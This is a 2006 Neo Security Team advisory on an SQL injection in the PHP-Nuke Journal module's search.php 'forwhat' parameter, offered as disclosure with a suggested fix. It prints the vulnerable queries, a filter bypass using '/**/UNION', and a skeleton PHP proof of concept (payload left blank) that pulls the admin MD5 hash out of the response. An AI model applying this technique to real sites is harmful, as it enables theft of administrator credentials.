[N]eo [S]ecurity [T]eam [NST] - Advisory 29 - 2006-10-31
--------------------------------------------------------
Program: PHP-Nuke
Homepage: http://www.php.net
Vulnerable Versions: PHP-Nuke <= 7.9
Risk: Medium
Impact: Medium Risk
-==PHP-Nuke <= 7.9 Journal module (search.php) "forwhat" SQL Injection
vulnerability==-
---------------------------------------------------------
- Description
---------------------------------------------------------
PHP-Nuke is a news automated system specially designed to be used in
Intranets and Internet. The Administrator has total control of his web site,
registered users, and he will have in the hand a powerful assembly of tools
to maintain an active and 100% interactive web site using databases.
- Tested
---------------------------------------------------------
localhost & many sites
- Vulnerability Description
---------------------------------------------------------
In /modules/Journal/search.php the "forwhat" variable is not sanitized
correctly. Here is the vulnerable code:
==[ /modules/Journal/search.php 125-136 ]==========================
[...]
if ($bywhat == 'aid'):
if ($exact == '1') {
$sql = "SELECT j.jid, j.aid, j.title, j.pdate, j.ptime, j.status,
j.mdate, j.mtime, u.user_id, u.username FROM ".$prefix."_journal j,
".$user_prefix."_users u WHERE u.username=j.aid and j.aid='$forwhat' order
by j.jid DESC";
} else {
$sql = "SELECT j.jid, j.aid, j.title, j.pdate, j.ptime, j.status,
j.mdate, j.mtime, u.user_id, u.username FROM ".$prefix."_journal j,
".$user_prefix."_users u WHERE u.username=j.aid and j.aid like '%$forwhat%'
order by j.jid DESC";
} elseif ($bywhat == 'title'):
$sql = "SELECT j.jid, j.aid, j.title, j.pdate, j.ptime, j.status,
j.mdate, j.mtime, u.user_id, u.username FROM ".$prefix."_journal j,
".$user_prefix."_users u WHERE u.username=j.aid and j.title like
'%$forwhat%' order by j.jid DESC";
elseif ($bywhat == 'bodytext'):
$sql = "SELECT j.jid, j.aid, j.title, j.pdate, j.ptime, j.status,
j.mdate, j.mtime, u.user_id, u.username FROM ".$prefix."_journal j,
".$user_prefix."_users u WHERE u.username=j.aid and j.bodytext LIKE
'%$forwhat%' order by j.jid DESC";
elseif ($bywhat == 'comment'):
$sql = "SELECT j.jid, j.aid, j.title, j.pdate, j.ptime, j.status,
j.mdate, j.mtime, u.user_id, u.username FROM ".$prefix."_journal j,
".$user_prefix."_users u, ".$user_prefix."_journal_comments c WHERE
u.username=j.aid and c.rid=j.jid and c.comment LIKE '%$forwhat%' order by
j.jid DESC";
endif;
[...]
==[ end /modules/Journal/search.php ]==============================
magic_quotes_gpc php directive must be turned Off so the simple quotes (')
are not filtered. Also we have to know the prefix
used for the database tables ("nuke_" by default).
In this way, bypassing the SQL Injection Protection, like using someone like
'/**/UNION ' and not ' UNION ' in our sql injections, we can get the admin
md5 hash without any problems.
==Pseudo-Code Proof of Concept exploit==

set_time_limit(0);
$host="localhost";
$path="/phpnuke/";
$port="80";
$fp = fsockopen($host, $port, $errno, $errstr, 30);
$data=""; /* Here the variables, like "bywhat" and "forwhat", with the SQL
Injection */
if ($fp) {
/* we put the POST request on $p variable, sending the data saved on
$data. */
fwrite($fp, $p);
while (!feof($fp)) {
$content .= fread($fp, 4096);
}
preg_match("/([a-z0-9]{32})/", $content, $matches);
if ($matches[0])
print "<b>Hash: </b>".$matches[0];
}
?>
==Pseudo-Code Proof of Concept exploit==
Whit this PoC code i get the md5 hash of the first admin (God) of the
nuke_authors table.
- How to fix it? More information?
--------------------------------------------------------
You can found a patch on http://www.neosecurityteam.net/foro/
Also, you can modify the line 61 of /modules/Journal/search.php, adding
slashes before the simple quotes with the addslashes() function:
==[ /modules/Search/index.php 59-62 ]==========================
[...]
else :
$forwhat = filter($forwhat, "nohtml");
$forwhat = addslashes(filter($forwhat, "nohtml"));
endif;
[...]
==[ end /modules/Search/index.php ]==============================
That's a momentary solution to the problem. I recommend to download the
PHP-Nuke 8.0 version in the next days... it is not
free at the moment.
